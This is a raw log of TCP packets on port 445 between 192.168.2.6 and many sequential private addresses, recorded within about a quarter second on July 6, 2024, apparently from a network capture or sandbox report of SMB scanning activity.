Jul 6, 2024 14:11:32.500591993 CEST	51798	445	192.168.2.6	192.168.1.160
Jul 6, 2024 14:11:32.501962900 CEST	445	51798	192.168.1.160	192.168.2.6
Jul 6, 2024 14:11:32.502156973 CEST	51805	445	192.168.2.6	192.168.1.34
Jul 6, 2024 14:11:32.502979040 CEST	445	51803	192.168.1.161	192.168.2.6
Jul 6, 2024 14:11:32.504035950 CEST	51805	445	192.168.2.6	192.168.1.34
Jul 6, 2024 14:11:32.505229950 CEST	51803	445	192.168.2.6	192.168.1.161
Jul 6, 2024 14:11:32.505614996 CEST	445	51800	192.168.1.31	192.168.2.6
Jul 6, 2024 14:11:32.505788088 CEST	445	51806	192.168.1.162	192.168.2.6
Jul 6, 2024 14:11:32.508455992 CEST	51808	445	192.168.2.6	192.168.1.163
Jul 6, 2024 14:11:32.509680033 CEST	445	51807	192.168.3.64	192.168.2.6
Jul 6, 2024 14:11:32.510555029 CEST	51806	445	192.168.2.6	192.168.1.162
Jul 6, 2024 14:11:32.510555029 CEST	51806	445	192.168.2.6	192.168.1.162
Jul 6, 2024 14:11:32.510674953 CEST	445	51805	192.168.1.34	192.168.2.6
Jul 6, 2024 14:11:32.511393070 CEST	51809	445	192.168.2.6	192.168.3.65
Jul 6, 2024 14:11:32.512516022 CEST	445	51805	192.168.1.34	192.168.2.6
Jul 6, 2024 14:11:32.512551069 CEST	51805	445	192.168.2.6	192.168.1.34
Jul 6, 2024 14:11:32.513066053 CEST	51807	445	192.168.2.6	192.168.3.64
Jul 6, 2024 14:11:32.513066053 CEST	51807	445	192.168.2.6	192.168.3.64
Jul 6, 2024 14:11:32.517013073 CEST	445	51808	192.168.1.163	192.168.2.6
Jul 6, 2024 14:11:32.519081116 CEST	51808	445	192.168.2.6	192.168.1.163
Jul 6, 2024 14:11:32.519081116 CEST	51808	445	192.168.2.6	192.168.1.163
Jul 6, 2024 14:11:32.520175934 CEST	445	51806	192.168.1.162	192.168.2.6
Jul 6, 2024 14:11:32.520195961 CEST	445	51809	192.168.3.65	192.168.2.6
Jul 6, 2024 14:11:32.520266056 CEST	51806	445	192.168.2.6	192.168.1.162
Jul 6, 2024 14:11:32.520277023 CEST	51809	445	192.168.2.6	192.168.3.65
Jul 6, 2024 14:11:32.520351887 CEST	51809	445	192.168.2.6	192.168.3.65
Jul 6, 2024 14:11:32.522023916 CEST	445	51807	192.168.3.64	192.168.2.6
Jul 6, 2024 14:11:32.522047043 CEST	445	51805	192.168.1.34	192.168.2.6
Jul 6, 2024 14:11:32.523099899 CEST	51807	445	192.168.2.6	192.168.3.64
Jul 6, 2024 14:11:32.523942947 CEST	51812	445	192.168.2.6	192.168.1.164
Jul 6, 2024 14:11:32.523957014 CEST	51813	445	192.168.2.6	192.168.3.66
Jul 6, 2024 14:11:32.524200916 CEST	51810	445	192.168.2.6	192.168.1.35
Jul 6, 2024 14:11:32.527827024 CEST	51811	445	192.168.2.6	192.168.1.36
Jul 6, 2024 14:11:32.527929068 CEST	445	51808	192.168.1.163	192.168.2.6
Jul 6, 2024 14:11:32.529083014 CEST	445	51809	192.168.3.65	192.168.2.6
Jul 6, 2024 14:11:32.531801939 CEST	51808	445	192.168.2.6	192.168.1.163
Jul 6, 2024 14:11:32.532453060 CEST	445	51812	192.168.1.164	192.168.2.6
Jul 6, 2024 14:11:32.532464027 CEST	445	51813	192.168.3.66	192.168.2.6
Jul 6, 2024 14:11:32.532530069 CEST	51813	445	192.168.2.6	192.168.3.66
Jul 6, 2024 14:11:32.533281088 CEST	51809	445	192.168.2.6	192.168.3.65
Jul 6, 2024 14:11:32.533281088 CEST	51812	445	192.168.2.6	192.168.1.164
Jul 6, 2024 14:11:32.533281088 CEST	51812	445	192.168.2.6	192.168.1.164
Jul 6, 2024 14:11:32.537815094 CEST	445	51810	192.168.1.35	192.168.2.6
Jul 6, 2024 14:11:32.537997961 CEST	51813	445	192.168.2.6	192.168.3.66
Jul 6, 2024 14:11:32.538223982 CEST	51810	445	192.168.2.6	192.168.1.35
Jul 6, 2024 14:11:32.538223982 CEST	51810	445	192.168.2.6	192.168.1.35
Jul 6, 2024 14:11:32.539163113 CEST	51815	445	192.168.2.6	192.168.3.67
Jul 6, 2024 14:11:32.541078091 CEST	51814	445	192.168.2.6	192.168.1.165
Jul 6, 2024 14:11:32.550098896 CEST	445	51813	192.168.3.66	192.168.2.6
Jul 6, 2024 14:11:32.550165892 CEST	445	51812	192.168.1.164	192.168.2.6
Jul 6, 2024 14:11:32.550175905 CEST	445	51812	192.168.1.164	192.168.2.6
Jul 6, 2024 14:11:32.550277948 CEST	51813	445	192.168.2.6	192.168.3.66
Jul 6, 2024 14:11:32.550348043 CEST	445	51811	192.168.1.36	192.168.2.6
Jul 6, 2024 14:11:32.550546885 CEST	51811	445	192.168.2.6	192.168.1.36
Jul 6, 2024 14:11:32.550546885 CEST	51811	445	192.168.2.6	192.168.1.36
Jul 6, 2024 14:11:32.554630041 CEST	51812	445	192.168.2.6	192.168.1.164
Jul 6, 2024 14:11:32.555450916 CEST	51816	445	192.168.2.6	192.168.3.68
Jul 6, 2024 14:11:32.557413101 CEST	445	51813	192.168.3.66	192.168.2.6
Jul 6, 2024 14:11:32.557430983 CEST	445	51810	192.168.1.35	192.168.2.6
Jul 6, 2024 14:11:32.557449102 CEST	445	51815	192.168.3.67	192.168.2.6
Jul 6, 2024 14:11:32.557538986 CEST	51815	445	192.168.2.6	192.168.3.67
Jul 6, 2024 14:11:32.557564020 CEST	445	51814	192.168.1.165	192.168.2.6
Jul 6, 2024 14:11:32.557646990 CEST	51817	445	192.168.2.6	192.168.1.166
Jul 6, 2024 14:11:32.557647943 CEST	51814	445	192.168.2.6	192.168.1.165
Jul 6, 2024 14:11:32.557663918 CEST	51815	445	192.168.2.6	192.168.3.67
Jul 6, 2024 14:11:32.559093952 CEST	51814	445	192.168.2.6	192.168.1.165
Jul 6, 2024 14:11:32.560156107 CEST	445	51811	192.168.1.36	192.168.2.6
Jul 6, 2024 14:11:32.560523033 CEST	445	51810	192.168.1.35	192.168.2.6
Jul 6, 2024 14:11:32.560543060 CEST	445	51816	192.168.3.68	192.168.2.6
Jul 6, 2024 14:11:32.560626030 CEST	51816	445	192.168.2.6	192.168.3.68
Jul 6, 2024 14:11:32.562051058 CEST	445	51811	192.168.1.36	192.168.2.6
Jul 6, 2024 14:11:32.562871933 CEST	445	51815	192.168.3.67	192.168.2.6
Jul 6, 2024 14:11:32.562889099 CEST	445	51817	192.168.1.166	192.168.2.6
Jul 6, 2024 14:11:32.562897921 CEST	445	51815	192.168.3.67	192.168.2.6
Jul 6, 2024 14:11:32.562928915 CEST	445	51814	192.168.1.165	192.168.2.6
Jul 6, 2024 14:11:32.563730955 CEST	51817	445	192.168.2.6	192.168.1.166
Jul 6, 2024 14:11:32.563731909 CEST	51814	445	192.168.2.6	192.168.1.165
Jul 6, 2024 14:11:32.563731909 CEST	51817	445	192.168.2.6	192.168.1.166
Jul 6, 2024 14:11:32.564659119 CEST	51815	445	192.168.2.6	192.168.3.67
Jul 6, 2024 14:11:32.564815044 CEST	445	51814	192.168.1.165	192.168.2.6
Jul 6, 2024 14:11:32.569314957 CEST	51816	445	192.168.2.6	192.168.3.68
Jul 6, 2024 14:11:32.570687056 CEST	51818	445	192.168.2.6	192.168.1.167
Jul 6, 2024 14:11:32.570795059 CEST	51819	445	192.168.2.6	192.168.3.69
Jul 6, 2024 14:11:32.586122990 CEST	51820	445	192.168.2.6	192.168.1.168
Jul 6, 2024 14:11:32.586260080 CEST	51821	445	192.168.2.6	192.168.3.70
Jul 6, 2024 14:11:32.595535994 CEST	445	51816	192.168.3.68	192.168.2.6
Jul 6, 2024 14:11:32.595555067 CEST	445	51817	192.168.1.166	192.168.2.6
Jul 6, 2024 14:11:32.595588923 CEST	445	51816	192.168.3.68	192.168.2.6
Jul 6, 2024 14:11:32.595614910 CEST	445	51817	192.168.1.166	192.168.2.6
Jul 6, 2024 14:11:32.595658064 CEST	51816	445	192.168.2.6	192.168.3.68
Jul 6, 2024 14:11:32.595695972 CEST	51817	445	192.168.2.6	192.168.1.166
Jul 6, 2024 14:11:32.597106934 CEST	445	51818	192.168.1.167	192.168.2.6
Jul 6, 2024 14:11:32.597117901 CEST	445	51819	192.168.3.69	192.168.2.6
Jul 6, 2024 14:11:32.597177029 CEST	51818	445	192.168.2.6	192.168.1.167
Jul 6, 2024 14:11:32.597280025 CEST	51818	445	192.168.2.6	192.168.1.167
Jul 6, 2024 14:11:32.597280979 CEST	51819	445	192.168.2.6	192.168.3.69
Jul 6, 2024 14:11:32.598123074 CEST	445	51820	192.168.1.168	192.168.2.6
Jul 6, 2024 14:11:32.598131895 CEST	445	51821	192.168.3.70	192.168.2.6
Jul 6, 2024 14:11:32.598787069 CEST	51820	445	192.168.2.6	192.168.1.168
Jul 6, 2024 14:11:32.599914074 CEST	51821	445	192.168.2.6	192.168.3.70
Jul 6, 2024 14:11:32.599914074 CEST	51819	445	192.168.2.6	192.168.3.69
Jul 6, 2024 14:11:32.600485086 CEST	51820	445	192.168.2.6	192.168.1.168
Jul 6, 2024 14:11:32.600929976 CEST	51823	445	192.168.2.6	192.168.1.37
Jul 6, 2024 14:11:32.600994110 CEST	51821	445	192.168.2.6	192.168.3.70
Jul 6, 2024 14:11:32.602071047 CEST	51825	445	192.168.2.6	192.168.3.71
Jul 6, 2024 14:11:32.603099108 CEST	445	51818	192.168.1.167	192.168.2.6
Jul 6, 2024 14:11:32.603107929 CEST	445	51818	192.168.1.167	192.168.2.6
Jul 6, 2024 14:11:32.603131056 CEST	445	51819	192.168.3.69	192.168.2.6
Jul 6, 2024 14:11:32.603533030 CEST	51822	445	192.168.2.6	192.168.1.38
Jul 6, 2024 14:11:32.603533030 CEST	51824	445	192.168.2.6	192.168.1.169
Jul 6, 2024 14:11:32.604573965 CEST	445	51820	192.168.1.168	192.168.2.6
Jul 6, 2024 14:11:32.604624033 CEST	51819	445	192.168.2.6	192.168.3.69
Jul 6, 2024 14:11:32.604999065 CEST	51820	445	192.168.2.6	192.168.1.168
Jul 6, 2024 14:11:32.606657028 CEST	445	51819	192.168.3.69	192.168.2.6
Jul 6, 2024 14:11:32.606672049 CEST	445	51820	192.168.1.168	192.168.2.6
Jul 6, 2024 14:11:32.606823921 CEST	445	51821	192.168.3.70	192.168.2.6
Jul 6, 2024 14:11:32.606833935 CEST	445	51823	192.168.1.37	192.168.2.6
Jul 6, 2024 14:11:32.606887102 CEST	51823	445	192.168.2.6	192.168.1.37
Jul 6, 2024 14:11:32.606906891 CEST	51821	445	192.168.2.6	192.168.3.70
Jul 6, 2024 14:11:32.606966019 CEST	51823	445	192.168.2.6	192.168.1.37
Jul 6, 2024 14:11:32.607132912 CEST	445	51821	192.168.3.70	192.168.2.6
Jul 6, 2024 14:11:32.607626915 CEST	445	51825	192.168.3.71	192.168.2.6
Jul 6, 2024 14:11:32.608669043 CEST	445	51822	192.168.1.38	192.168.2.6
Jul 6, 2024 14:11:32.608728886 CEST	51825	445	192.168.2.6	192.168.3.71
Jul 6, 2024 14:11:32.608817101 CEST	51825	445	192.168.2.6	192.168.3.71
Jul 6, 2024 14:11:32.608828068 CEST	51822	445	192.168.2.6	192.168.1.38
Jul 6, 2024 14:11:32.608892918 CEST	51822	445	192.168.2.6	192.168.1.38
Jul 6, 2024 14:11:32.609103918 CEST	445	51824	192.168.1.169	192.168.2.6
Jul 6, 2024 14:11:32.609154940 CEST	51824	445	192.168.2.6	192.168.1.169
Jul 6, 2024 14:11:32.612848997 CEST	445	51823	192.168.1.37	192.168.2.6
Jul 6, 2024 14:11:32.613482952 CEST	445	51823	192.168.1.37	192.168.2.6
Jul 6, 2024 14:11:32.614356995 CEST	445	51822	192.168.1.38	192.168.2.6
Jul 6, 2024 14:11:32.614366055 CEST	445	51825	192.168.3.71	192.168.2.6
Jul 6, 2024 14:11:32.614418983 CEST	51825	445	192.168.2.6	192.168.3.71
Jul 6, 2024 14:11:32.615026951 CEST	445	51822	192.168.1.38	192.168.2.6
Jul 6, 2024 14:11:32.615335941 CEST	445	51824	192.168.1.169	192.168.2.6
Jul 6, 2024 14:11:32.615391970 CEST	51824	445	192.168.2.6	192.168.1.169
Jul 6, 2024 14:11:32.616345882 CEST	51824	445	192.168.2.6	192.168.1.169
Jul 6, 2024 14:11:32.616734982 CEST	51826	445	192.168.2.6	192.168.1.40
Jul 6, 2024 14:11:32.616950035 CEST	51827	445	192.168.2.6	192.168.1.39
Jul 6, 2024 14:11:32.617860079 CEST	51828	445	192.168.2.6	192.168.1.170
Jul 6, 2024 14:11:32.618057966 CEST	51829	445	192.168.2.6	192.168.3.72
Jul 6, 2024 14:11:32.621372938 CEST	445	51824	192.168.1.169	192.168.2.6
Jul 6, 2024 14:11:32.622009993 CEST	445	51826	192.168.1.40	192.168.2.6
Jul 6, 2024 14:11:32.622082949 CEST	51826	445	192.168.2.6	192.168.1.40
Jul 6, 2024 14:11:32.622137070 CEST	51826	445	192.168.2.6	192.168.1.40
Jul 6, 2024 14:11:32.622178078 CEST	445	51827	192.168.1.39	192.168.2.6
Jul 6, 2024 14:11:32.622834921 CEST	445	51828	192.168.1.170	192.168.2.6
Jul 6, 2024 14:11:32.622899055 CEST	51828	445	192.168.2.6	192.168.1.170
Jul 6, 2024 14:11:32.622899055 CEST	51827	445	192.168.2.6	192.168.1.39
Jul 6, 2024 14:11:32.622963905 CEST	51828	445	192.168.2.6	192.168.1.170
Jul 6, 2024 14:11:32.622980118 CEST	51827	445	192.168.2.6	192.168.1.39
Jul 6, 2024 14:11:32.623333931 CEST	445	51829	192.168.3.72	192.168.2.6
Jul 6, 2024 14:11:32.626702070 CEST	51829	445	192.168.2.6	192.168.3.72
Jul 6, 2024 14:11:32.626821995 CEST	51829	445	192.168.2.6	192.168.3.72
Jul 6, 2024 14:11:32.627052069 CEST	445	51826	192.168.1.40	192.168.2.6
Jul 6, 2024 14:11:32.627902031 CEST	445	51827	192.168.1.39	192.168.2.6
Jul 6, 2024 14:11:32.628329992 CEST	445	51827	192.168.1.39	192.168.2.6
Jul 6, 2024 14:11:32.630908966 CEST	445	51828	192.168.1.170	192.168.2.6
Jul 6, 2024 14:11:32.632122993 CEST	445	51828	192.168.1.170	192.168.2.6
Jul 6, 2024 14:11:32.632185936 CEST	51828	445	192.168.2.6	192.168.1.170
Jul 6, 2024 14:11:32.632771015 CEST	445	51829	192.168.3.72	192.168.2.6
Jul 6, 2024 14:11:32.632899046 CEST	51829	445	192.168.2.6	192.168.3.72
Jul 6, 2024 14:11:32.633100986 CEST	51830	445	192.168.2.6	192.168.1.171
Jul 6, 2024 14:11:32.633122921 CEST	51831	445	192.168.2.6	192.168.3.73
Jul 6, 2024 14:11:32.638223886 CEST	445	51830	192.168.1.171	192.168.2.6
Jul 6, 2024 14:11:32.638235092 CEST	445	51831	192.168.3.73	192.168.2.6
Jul 6, 2024 14:11:32.638308048 CEST	51830	445	192.168.2.6	192.168.1.171
Jul 6, 2024 14:11:32.638406992 CEST	51831	445	192.168.2.6	192.168.3.73
Jul 6, 2024 14:11:32.638406992 CEST	51831	445	192.168.2.6	192.168.3.73
Jul 6, 2024 14:11:32.644201994 CEST	445	51830	192.168.1.171	192.168.2.6
Jul 6, 2024 14:11:32.644754887 CEST	445	51831	192.168.3.73	192.168.2.6
Jul 6, 2024 14:11:32.644841909 CEST	51831	445	192.168.2.6	192.168.3.73
Jul 6, 2024 14:11:32.646534920 CEST	51830	445	192.168.2.6	192.168.1.171
Jul 6, 2024 14:11:32.647361994 CEST	51830	445	192.168.2.6	192.168.1.171
Jul 6, 2024 14:11:32.648175001 CEST	51832	445	192.168.2.6	192.168.1.41
Jul 6, 2024 14:11:32.649143934 CEST	51833	445	192.168.2.6	192.168.1.172
Jul 6, 2024 14:11:32.649214983 CEST	51834	445	192.168.2.6	192.168.3.74
Jul 6, 2024 14:11:32.655474901 CEST	445	51830	192.168.1.171	192.168.2.6
Jul 6, 2024 14:11:32.656842947 CEST	445	51832	192.168.1.41	192.168.2.6
Jul 6, 2024 14:11:32.656954050 CEST	51832	445	192.168.2.6	192.168.1.41
Jul 6, 2024 14:11:32.657046080 CEST	51832	445	192.168.2.6	192.168.1.41
Jul 6, 2024 14:11:32.658304930 CEST	445	51833	192.168.1.172	192.168.2.6
Jul 6, 2024 14:11:32.658314943 CEST	445	51834	192.168.3.74	192.168.2.6
Jul 6, 2024 14:11:32.658365965 CEST	51833	445	192.168.2.6	192.168.1.172
Jul 6, 2024 14:11:32.658365965 CEST	51834	445	192.168.2.6	192.168.3.74
Jul 6, 2024 14:11:32.658457041 CEST	51834	445	192.168.2.6	192.168.3.74
Jul 6, 2024 14:11:32.658524990 CEST	51833	445	192.168.2.6	192.168.1.172
Jul 6, 2024 14:11:32.662739992 CEST	445	51832	192.168.1.41	192.168.2.6
Jul 6, 2024 14:11:32.663522959 CEST	445	51833	192.168.1.172	192.168.2.6
Jul 6, 2024 14:11:32.663889885 CEST	445	51833	192.168.1.172	192.168.2.6
Jul 6, 2024 14:11:32.664345980 CEST	51835	445	192.168.2.6	192.168.1.173
Jul 6, 2024 14:11:32.664508104 CEST	51836	445	192.168.2.6	192.168.3.75
Jul 6, 2024 14:11:32.664706945 CEST	445	51834	192.168.3.74	192.168.2.6
Jul 6, 2024 14:11:32.666824102 CEST	51834	445	192.168.2.6	192.168.3.74
Jul 6, 2024 14:11:32.669779062 CEST	445	51835	192.168.1.173	192.168.2.6
Jul 6, 2024 14:11:32.669840097 CEST	51835	445	192.168.2.6	192.168.1.173
Jul 6, 2024 14:11:32.669969082 CEST	51835	445	192.168.2.6	192.168.1.173
Jul 6, 2024 14:11:32.670311928 CEST	445	51836	192.168.3.75	192.168.2.6
Jul 6, 2024 14:11:32.670386076 CEST	51836	445	192.168.2.6	192.168.3.75
Jul 6, 2024 14:11:32.670456886 CEST	51836	445	192.168.2.6	192.168.3.75
Jul 6, 2024 14:11:32.675080061 CEST	445	51835	192.168.1.173	192.168.2.6
Jul 6, 2024 14:11:32.675256968 CEST	445	51835	192.168.1.173	192.168.2.6
Jul 6, 2024 14:11:32.675772905 CEST	445	51836	192.168.3.75	192.168.2.6
Jul 6, 2024 14:11:32.676887035 CEST	445	51836	192.168.3.75	192.168.2.6
Jul 6, 2024 14:11:32.680162907 CEST	51837	445	192.168.2.6	192.168.1.174
Jul 6, 2024 14:11:32.682925940 CEST	51838	445	192.168.2.6	192.168.3.76
Jul 6, 2024 14:11:32.686141014 CEST	445	51837	192.168.1.174	192.168.2.6
Jul 6, 2024 14:11:32.686248064 CEST	51837	445	192.168.2.6	192.168.1.174
Jul 6, 2024 14:11:32.686353922 CEST	51837	445	192.168.2.6	192.168.1.174
Jul 6, 2024 14:11:32.689351082 CEST	445	51838	192.168.3.76	192.168.2.6
Jul 6, 2024 14:11:32.691500902 CEST	51838	445	192.168.2.6	192.168.3.76
Jul 6, 2024 14:11:32.694219112 CEST	445	51837	192.168.1.174	192.168.2.6
Jul 6, 2024 14:11:32.694248915 CEST	51838	445	192.168.2.6	192.168.3.76
Jul 6, 2024 14:11:32.694273949 CEST	51837	445	192.168.2.6	192.168.1.174
Jul 6, 2024 14:11:32.694736958 CEST	51839	445	192.168.2.6	192.168.1.42
Jul 6, 2024 14:11:32.694897890 CEST	51840	445	192.168.2.6	192.168.1.44
Jul 6, 2024 14:11:32.695012093 CEST	51841	445	192.168.2.6	192.168.1.45
Jul 6, 2024 14:11:32.696141005 CEST	51843	445	192.168.2.6	192.168.3.77
Jul 6, 2024 14:11:32.696180105 CEST	51842	445	192.168.2.6	192.168.1.175
Jul 6, 2024 14:11:32.698482990 CEST	445	51838	192.168.3.76	192.168.2.6
Jul 6, 2024 14:11:32.698542118 CEST	51838	445	192.168.2.6	192.168.3.76
Jul 6, 2024 14:11:32.699281931 CEST	445	51838	192.168.3.76	192.168.2.6
Jul 6, 2024 14:11:32.699939013 CEST	445	51839	192.168.1.42	192.168.2.6
Jul 6, 2024 14:11:32.700025082 CEST	51839	445	192.168.2.6	192.168.1.42
Jul 6, 2024 14:11:32.700102091 CEST	445	51840	192.168.1.44	192.168.2.6
Jul 6, 2024 14:11:32.700124979 CEST	51839	445	192.168.2.6	192.168.1.42
Jul 6, 2024 14:11:32.700141907 CEST	51840	445	192.168.2.6	192.168.1.44
Jul 6, 2024 14:11:32.700243950 CEST	51840	445	192.168.2.6	192.168.1.44
Jul 6, 2024 14:11:32.701232910 CEST	445	51841	192.168.1.45	192.168.2.6
Jul 6, 2024 14:11:32.701417923 CEST	445	51843	192.168.3.77	192.168.2.6
Jul 6, 2024 14:11:32.701426983 CEST	445	51842	192.168.1.175	192.168.2.6
Jul 6, 2024 14:11:32.701483011 CEST	51841	445	192.168.2.6	192.168.1.45
Jul 6, 2024 14:11:32.701500893 CEST	51842	445	192.168.2.6	192.168.1.175
Jul 6, 2024 14:11:32.701503038 CEST	51843	445	192.168.2.6	192.168.3.77
Jul 6, 2024 14:11:32.701570034 CEST	51841	445	192.168.2.6	192.168.1.45
Jul 6, 2024 14:11:32.701602936 CEST	51842	445	192.168.2.6	192.168.1.175
Jul 6, 2024 14:11:32.702997923 CEST	445	51799	192.168.3.62	192.168.2.6
Jul 6, 2024 14:11:32.705259085 CEST	445	51839	192.168.1.42	192.168.2.6
Jul 6, 2024 14:11:32.705310106 CEST	51799	445	192.168.2.6	192.168.3.62
Jul 6, 2024 14:11:32.705436945 CEST	445	51840	192.168.1.44	192.168.2.6
Jul 6, 2024 14:11:32.705588102 CEST	445	51839	192.168.1.42	192.168.2.6
Jul 6, 2024 14:11:32.706056118 CEST	445	51840	192.168.1.44	192.168.2.6
Jul 6, 2024 14:11:32.706728935 CEST	445	51841	192.168.1.45	192.168.2.6
Jul 6, 2024 14:11:32.706902027 CEST	445	51841	192.168.1.45	192.168.2.6
Jul 6, 2024 14:11:32.707055092 CEST	445	51842	192.168.1.175	192.168.2.6
Jul 6, 2024 14:11:32.707067966 CEST	445	51842	192.168.1.175	192.168.2.6
Jul 6, 2024 14:11:32.707113981 CEST	51842	445	192.168.2.6	192.168.1.175
Jul 6, 2024 14:11:32.707545996 CEST	445	51843	192.168.3.77	192.168.2.6
Jul 6, 2024 14:11:32.707597971 CEST	51843	445	192.168.2.6	192.168.3.77
Jul 6, 2024 14:11:32.709913969 CEST	51843	445	192.168.2.6	192.168.3.77
Jul 6, 2024 14:11:32.710243940 CEST	51844	445	192.168.2.6	192.168.1.43
Jul 6, 2024 14:11:32.710439920 CEST	51845	445	192.168.2.6	192.168.1.46
Jul 6, 2024 14:11:32.710526943 CEST	51846	445	192.168.2.6	192.168.1.47
Jul 6, 2024 14:11:32.711534023 CEST	51847	445	192.168.2.6	192.168.3.78
Jul 6, 2024 14:11:32.711545944 CEST	51848	445	192.168.2.6	192.168.1.176
Jul 6, 2024 14:11:32.714977026 CEST	445	51843	192.168.3.77	192.168.2.6
Jul 6, 2024 14:11:32.715615988 CEST	445	51844	192.168.1.43	192.168.2.6
Jul 6, 2024 14:11:32.715625048 CEST	445	51845	192.168.1.46	192.168.2.6
Jul 6, 2024 14:11:32.715634108 CEST	445	51846	192.168.1.47	192.168.2.6
Jul 6, 2024 14:11:32.715729952 CEST	51844	445	192.168.2.6	192.168.1.43
Jul 6, 2024 14:11:32.715735912 CEST	51846	445	192.168.2.6	192.168.1.47
Jul 6, 2024 14:11:32.715750933 CEST	51845	445	192.168.2.6	192.168.1.46
Jul 6, 2024 14:11:32.715851068 CEST	51844	445	192.168.2.6	192.168.1.43
Jul 6, 2024 14:11:32.715879917 CEST	51846	445	192.168.2.6	192.168.1.47
Jul 6, 2024 14:11:32.715894938 CEST	51845	445	192.168.2.6	192.168.1.46
Jul 6, 2024 14:11:32.717926025 CEST	445	51847	192.168.3.78	192.168.2.6
Jul 6, 2024 14:11:32.717982054 CEST	51847	445	192.168.2.6	192.168.3.78
Jul 6, 2024 14:11:32.718262911 CEST	445	51848	192.168.1.176	192.168.2.6
Jul 6, 2024 14:11:32.718322992 CEST	51848	445	192.168.2.6	192.168.1.176
Jul 6, 2024 14:11:32.725080967 CEST	445	51844	192.168.1.43	192.168.2.6
Jul 6, 2024 14:11:32.725233078 CEST	445	51846	192.168.1.47	192.168.2.6
Jul 6, 2024 14:11:32.725369930 CEST	445	51845	192.168.1.46	192.168.2.6
Jul 6, 2024 14:11:32.725732088 CEST	51848	445	192.168.2.6	192.168.1.176
Jul 6, 2024 14:11:32.725740910 CEST	51847	445	192.168.2.6	192.168.3.78
Jul 6, 2024 14:11:32.726131916 CEST	51849	445	192.168.2.6	192.168.1.48
Jul 6, 2024 14:11:32.726218939 CEST	445	51845	192.168.1.46	192.168.2.6
Jul 6, 2024 14:11:32.726228952 CEST	445	51844	192.168.1.43	192.168.2.6
Jul 6, 2024 14:11:32.727904081 CEST	51850	445	192.168.2.6	192.168.1.177
Jul 6, 2024 14:11:32.727925062 CEST	51851	445	192.168.2.6	192.168.3.79
Jul 6, 2024 14:11:32.728133917 CEST	445	51847	192.168.3.78	192.168.2.6
Jul 6, 2024 14:11:32.728449106 CEST	445	51848	192.168.1.176	192.168.2.6
Jul 6, 2024 14:11:32.728503942 CEST	51847	445	192.168.2.6	192.168.3.78
Jul 6, 2024 14:11:32.730973959 CEST	51848	445	192.168.2.6	192.168.1.176
Jul 6, 2024 14:11:32.733000040 CEST	445	51848	192.168.1.176	192.168.2.6
Jul 6, 2024 14:11:32.733335018 CEST	445	51847	192.168.3.78	192.168.2.6
Jul 6, 2024 14:11:32.734337091 CEST	445	51849	192.168.1.48	192.168.2.6
Jul 6, 2024 14:11:32.734409094 CEST	51849	445	192.168.2.6	192.168.1.48
Jul 6, 2024 14:11:32.734499931 CEST	51849	445	192.168.2.6	192.168.1.48
Jul 6, 2024 14:11:32.737508059 CEST	445	51850	192.168.1.177	192.168.2.6
Jul 6, 2024 14:11:32.738244057 CEST	445	51851	192.168.3.79	192.168.2.6
Jul 6, 2024 14:11:32.738321066 CEST	51850	445	192.168.2.6	192.168.1.177
Jul 6, 2024 14:11:32.738328934 CEST	51851	445	192.168.2.6	192.168.3.79
Jul 6, 2024 14:11:32.738478899 CEST	51851	445	192.168.2.6	192.168.3.79
Jul 6, 2024 14:11:32.738483906 CEST	51850	445	192.168.2.6	192.168.1.177
Jul 6, 2024 14:11:32.740387917 CEST	445	51849	192.168.1.48	192.168.2.6
Jul 6, 2024 14:11:32.740736961 CEST	445	51849	192.168.1.48	192.168.2.6
Jul 6, 2024 14:11:32.742369890 CEST	51852	445	192.168.2.6	192.168.1.178
Jul 6, 2024 14:11:32.742393017 CEST	51853	445	192.168.2.6	192.168.3.80
Jul 6, 2024 14:11:32.744088888 CEST	445	51851	192.168.3.79	192.168.2.6
Jul 6, 2024 14:11:32.744585037 CEST	445	51850	192.168.1.177	192.168.2.6
Jul 6, 2024 14:11:32.744647980 CEST	51851	445	192.168.2.6	192.168.3.79
Jul 6, 2024 14:11:32.744657993 CEST	51850	445	192.168.2.6	192.168.1.177
Jul 6, 2024 14:11:32.747594118 CEST	445	51852	192.168.1.178	192.168.2.6
Jul 6, 2024 14:11:32.747605085 CEST	445	51853	192.168.3.80	192.168.2.6
Jul 6, 2024 14:11:32.747668028 CEST	51852	445	192.168.2.6	192.168.1.178
Jul 6, 2024 14:11:32.747766018 CEST	51852	445	192.168.2.6	192.168.1.178
Jul 6, 2024 14:11:32.747778893 CEST	51853	445	192.168.2.6	192.168.3.80
Jul 6, 2024 14:11:32.747778893 CEST	51853	445	192.168.2.6	192.168.3.80
Jul 6, 2024 14:11:32.753325939 CEST	445	51852	192.168.1.178	192.168.2.6
Jul 6, 2024 14:11:32.753494024 CEST	445	51853	192.168.3.80	192.168.2.6
Jul 6, 2024 14:11:32.753551960 CEST	51852	445	192.168.2.6	192.168.1.178
Jul 6, 2024 14:11:32.753570080 CEST	51853	445	192.168.2.6	192.168.3.80
Jul 6, 2024 14:11:32.757020950 CEST	51854	445	192.168.2.6	192.168.1.50
Jul 6, 2024 14:11:32.758115053 CEST	51855	445	192.168.2.6	192.168.1.179
Jul 6, 2024 14:11:32.758228064 CEST	51856	445	192.168.2.6	192.168.3.81
Jul 6, 2024 14:11:32.761878967 CEST	445	51854	192.168.1.50	192.168.2.6
Jul 6, 2024 14:11:32.763075113 CEST	51854	445	192.168.2.6	192.168.1.50
Jul 6, 2024 14:11:32.763226986 CEST	51854	445	192.168.2.6	192.168.1.50
Jul 6, 2024 14:11:32.763585091 CEST	445	51855	192.168.1.179	192.168.2.6
Jul 6, 2024 14:11:32.763689995 CEST	445	51856	192.168.3.81	192.168.2.6
Jul 6, 2024 14:11:32.763761044 CEST	51855	445	192.168.2.6	192.168.1.179
Jul 6, 2024 14:11:32.763761044 CEST	51856	445	192.168.2.6	192.168.3.81
Jul 6, 2024 14:11:32.763878107 CEST	51856	445	192.168.2.6	192.168.3.81
Jul 6, 2024 14:11:32.768193960 CEST	445	51854	192.168.1.50	192.168.2.6
Jul 6, 2024 14:11:32.768285036 CEST	445	51854	192.168.1.50	192.168.2.6
Jul 6, 2024 14:11:32.768822908 CEST	445	51855	192.168.1.179	192.168.2.6
Jul 6, 2024 14:11:32.768876076 CEST	445	51856	192.168.3.81	192.168.2.6
Jul 6, 2024 14:11:32.768932104 CEST	51856	445	192.168.2.6	192.168.3.81
Jul 6, 2024 14:11:32.768970013 CEST	51855	445	192.168.2.6	192.168.1.179
Jul 6, 2024 14:11:32.772573948 CEST	51855	445	192.168.2.6	192.168.1.179
Jul 6, 2024 14:11:32.772908926 CEST	51858	445	192.168.2.6	192.168.1.49
Jul 6, 2024 14:11:32.773021936 CEST	51857	445	192.168.2.6	192.168.1.51
